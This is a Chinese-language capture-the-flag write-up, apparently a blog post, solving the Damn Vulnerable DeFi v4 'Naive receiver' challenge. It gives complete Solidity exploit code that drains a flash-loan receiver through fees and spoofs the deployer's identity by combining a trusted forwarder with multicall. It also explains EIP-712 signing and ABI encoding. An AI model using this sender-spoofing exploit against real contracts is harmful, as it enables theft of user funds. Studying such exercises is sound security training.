Damn-vulnerable-defi-V4-solution(Naive receiver)
一、Naive receiver
完整代码 https://github.com/theredguild/damn-vulnerable-defi/tree/v4.1.0/src/naive-receiver
需要 hack 的代码 https://github.com/theredguild/damn-vulnerable-defi/tree/v4.1.0/test/naive-receiver
1.背景:
我们有一个池子,用户可以在其中存入或提取 WETH,该池子还提供闪电贷功能,但需要支付一定的手续费。我们还有一个 receiver合约,可以接收闪电贷。该池子包含一个多调用功能(delegatecall内部使用),可以在一次调用中执行多个交易。withdraw功能也接受来自转发器的请求。
资金池和接收方都持有一些 WETH。目标是在不超过两笔交易内,将资金池和接收方的所有 WETH 转入恢复账户。
攻击逻辑:我们首先通过调用 flashloan 函数将所有 WETH 从接收方转移到池中(因此接收方每次都需要支付手续费)。之后,我们找到一种方法将所有 WETH 从 pool中取出。
任何人都可以直接调用flashLoan,没有权限的限制
// test code
pool.flashLoan(IERC3156FlashBorrower(receiver), address(weth), 0, "")每次接收方都会支付 1e18 个代币的闪电贷手续费。由于接收方拥有 10e18 个代币,因此调用此函数 10 次实际上会将所有 WETH 从receiver转移到pool中。然而,这需要 10 笔交易。为了避免这种情况,我们可以在池继承的合约中使用 multicall功能。
// Multicall.sol
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Context} from "@openzeppelin/contracts/utils/Context.sol";
abstract contract Multicall is Context {
function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = Address.functionDelegateCall(address(this), data[i]);
}
return results;
}
}该函数使用pool合约本身multicall实现。delegatecall使用其调用的合约代码,但使用调用者的 storage(在当前的情况下,调用者和被调用者都是pool合约,所以没啥问题)。
此处普及下使用 multicall 的坑
storage 共用
因为 delegatecall 在同一个 storage 上执行,假设 flashLoan 内部用了 storage 写入,会互相覆盖,和多次外部调用结果不一样。
msg.sender 恒定
在 multicall 内,msg.sender 永远是 multicall 的 caller,而不是每个调用自己独立的 msg.sender(可能会导致权限逻辑不一样)。
reentrancy 风险
因为它是一堆 delegatecall,如果内部函数依赖 nonReentrant 锁,可能导致整组调用中第一个成功,后面的被锁死。
错误传播
任何一次 delegatecall revert,整个 multicall revert,不像循环外部 call 可以 try/catch 单独处理。
将十笔交易合并成一笔,我们可以这样做multicall
// test code
bytes[] memory data = new bytes[](10);
for (uint i = 0; i < 10; i++) {
data[i] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 0, ""));
}
pool.multicall(data);成功地将所有 WETH 从 receiver 转到了pool中。
攻击的第二部分是将 WETH 从pool里转到recover账户。首先想到的是调用withdraw池子里的函数。
// NaiveReceiverPool.sol
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;
// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}deployer(1000e18 初始存款 + 10e18 闪贷手续费)。作为 player,我们不能调用 withdraw,查询 deposits 是我们的余额是 0。
然而,forwarder似乎可以调用 withdraw,而depositor将是msg.data的最后 20 个字节。由于只有deployer拥有所有存款,我们需要想办法将msg.data的最后 20 个字节(与调用 时_msgSender使用的值相同)作为deployer的地址。现在让我们看看forwarder合约中的核心函数,因为我们可以使用forwarder来调用pool。
// from BasicForwarder.sol
struct Request {
address from;
address target;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
uint256 deadline;
}
function _checkRequest(Request calldata request, bytes calldata signature) private view {
if (request.value != msg.value) revert InvalidValue();
if (block.timestamp > request.deadline) revert OldRequest();
if (nonces[request.from] != request.nonce) revert InvalidNonce();
if (IHasTrustedForwarder(request.target).trustedForwarder() != address(this)) revert InvalidTarget();
address signer = ECDSA.recover(_hashTypedData(getDataHash(request)), signature);
if (signer != request.from) revert InvalidSigner();
}
function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
_checkRequest(request, signature);
nonces[request.from]++;
uint256 gasLeft;
uint256 value = request.value; // in wei
address target = request.target;
bytes memory payload = abi.encodePacked(request.data, request.from);
uint256 forwardGas = request.gas;
assembly {
success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
gasLeft := gas()
}
if (gasLeft < request.gas / 63) {
assembly {
invalid()
}
}
}接受BasicForwarder一个Request结构并具有一个execute将执行对任意 target调用的函数,只要签名可以通过以下逻辑进行验证。
address signer = ECDSA.recover(_hashTypedData(getDataHash(request)), signature);
if (signer != request.from) revert InvalidSigner();由于我们只有玩家的私钥,所以我们只能设置request.from = player,因为生成签名的时候需要私钥。但是由于我们希望withdraw中的msg.data包含deployer的地址,因此我们需要找到另一种方法。
如果我们直接使用execute该函数来调用withdraw,调用将会失败。
// this will fail
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: gasleft(),
nonce: 0,
data: abi.encodeWithSignature("withdraw(uint256,address)", 1010e18, payable(recovery), deployer);,
deadline: block.timestamp
});
bytes2 sig_part1 = 0x1901;
bytes32 sig_part2 = forwarder.domainSeparator();
bytes32 sig_part3 = forwarder.getDataHash(request);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, keccak256(abi.encodePacked(sig_part1, sig_part2, sig_part3)));
forwarder.execute(request, abi.encodePacked(r, s, v));
}请注意,虽然withdraw只接受两个变量,但我们在abi.encodeWithSignature的末尾填充了 deployer的地址,希望它出现在msg.data的末尾。然而,失败了。事实证明,withdraw函数中获取到的 msg.sender的最后 20 个字节仍然是player的地址。
为什么?因为在execute函数中,calldata 就是payload。
bytes memory payload = abi.encodePacked(request.data, request.from);request.from被填充在最后,所以request.from = player
然而就需要换个思路来绕过
bytes[] memory multiData = new bytes[](1);
multiData[0] = abi.encodeWithSignature("withdraw(uint256,address)", 1010e18, payable(recovery), deployer);
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: gasleft(),
nonce: 0,
data: abi.encodeWithSignature("multicall(bytes[])", multiData),
deadline: block.timestamp
});
bytes2 sig_part1 = 0x1901;
bytes32 sig_part2 = forwarder.domainSeparator();
bytes32 sig_part3 = forwarder.getDataHash(request);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, keccak256(abi.encodePacked(sig_part1, sig_part2, sig_part3)));
forwarder.execute(request, abi.encodePacked(r, s, v));思路是使用 forwarder调用multicall这将导致池pool delegatecall自身发生变化。请注意,delegatecall与不同call,delegatecall不会改变msg.sender(因为它只是借用了它所调用的合约的代码),因此调用者仍然是BasicForwarder。然而,通过multicall确能实更改msg.data为我们需要的内容——即msg.data现在是multiCallData[0]。这样就绕过了request.frompayload填充在末尾存在的问题,无法设置 deployer 作为 msg.sender。
完整的解决方案:
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory data = new bytes[](10);
for (uint i = 0; i < 10; i++) {
data[i] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 0, ""));
}
pool.multicall(data);
bytes[] memory multiData = new bytes[](1);
multiData[0] = abi.encodeWithSignature("withdraw(uint256,address)", 1010e18, payable(recovery), deployer);
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: gasleft(),
nonce: 0,
data: abi.encodeWithSignature("multicall(bytes[])", multiData),
deadline: block.timestamp
});
bytes2 sig_part1 = 0x1901;
bytes32 sig_part2 = forwarder.domainSeparator();
bytes32 sig_part3 = forwarder.getDataHash(request);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, keccak256(abi.encodePacked(sig_part1, sig_part2, sig_part3)));
forwarder.execute(request, abi.encodePacked(r, s, v));
}s普及一下 EIP-712 中签名的工作原理。签名是通过使用私钥对消息进行签名生成的。该消息包含三个部分:
- 第一部分是
0x1901(前缀0x19来自EIP-191,用于签名数据的标准化处理,01表示EIP-712结构化数据)。 - 第二部分是域名分隔符(由合约提供
BasicForwarder,由名称、版本chain.id、合约地址构成详情请参阅 EIP-712 函数_buildDomainSeparator())。 - 第三部分是请求的数据做哈希得到。
keccak256计算完消息的哈希值后,我们可以使用foundry 的 chetcode vm.sign对其进行签名,得到(v, r, s)。最终的签名为abi.encodePacked(r, s, v)(这可以在 OpenZeppelin 的 ECDSA 实现中看到)
测试的时候将其中一些关键的数据 log 出来之后有助于理解
ABI 编码规则
abi.encodeWithSignature("func(type1,type2,...)", args...) 会:
- 先生成函数选择器(function selector):前 4 字节是 keccak256("func(type1,type2,...)")[:4]
参数按 ABI 编码规则 依次编码:
- 静态类型(uint256, address, bool, bytes32 等)占 32 字节,高位补 0
- 动态类型(bytes, string, bytes[], arrays)在参数部分放 32 字节偏移量,实际数据放在 payload 后面
- 所有动态类型的数据会按 32 字节对齐 放在后面
// request.data
0xac9650d8 <- 函数选择器 multicall(bytes[])
0000000000000000000000000000000000000000000000000000000000000020 <-偏移量
0000000000000000000000000000000000000000000000000000000000000001 <-bytes[] 长度 = 1
0000000000000000000000000000000000000000000000000000000000000020 <-第一个bytes偏移量
0000000000000000000000000000000000000000000000000000000000000064 <-元素长度 = 100
00f714ce <- 函数选择器 withdraw(uint256,address)
000000000000000000000000000000000000000000000036c090d0ca68880000 <-参数uint256 正好是 1010e18 的 16 进制
00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea <-参数address
000000000000000000000000ae0bdc4eeac5e950b67c6819b118761caaf61946 <-deployer的 address
00000000000000000000000000000000000000000000000000000000 <-abi.encodeWithSignature补齐 32 字节对齐
// forward abi.encodePacked(request.data, request.from) payload
0xac9650d8
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000064
00f714ce000000000000000000000000000000000000000000000036c090d0ca
6888000000000000000000000000000073030b99950fb19c6a813465e58a0bca
5487fbea000000000000000000000000ae0bdc4eeac5e950b67c6819b118761c
aaf6194600000000000000000000000000000000000000000000000000000000
44e97af4418b7a17aabd8090bea0a471a366305c <- abi.encodePacked(request.data, request.from) 直接追加的player地址使用了补充下abi.encodeWithSignature 和 abi.encodePacked 的区别
abi.encodeWithSignature
等价于:
abi.encodeWithSelector(bytes4(keccak256(bytes(signature))), arguments...);它会 严格遵循 ABI 编码规范(按 32 字节对齐)。
- 函数选择器:前 4 字节
- 每个参数:都占用 32 字节槽位(动态类型则是 offset + 数据区域)
abi.encodePacked
它是 紧凑拼接编码,不会对齐到 32 字节。
- 不包含函数选择器
- 不填充高位零
- 各参数直接顺序拼接
| 方法 | 是否包含函数选择器 | 是否 32字节对齐 | 用途 |
|---|---|---|---|
| abi.encodeWithSignature | ✅ 包含(4字节) | ✅ 严格32字节对齐 | 合约调用(低级 call, delegatecall) |
| abi.encodePacked | ❌ 不包含 | ❌ 不对齐 | 哈希(keccak256)、签名数据拼接 |
当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »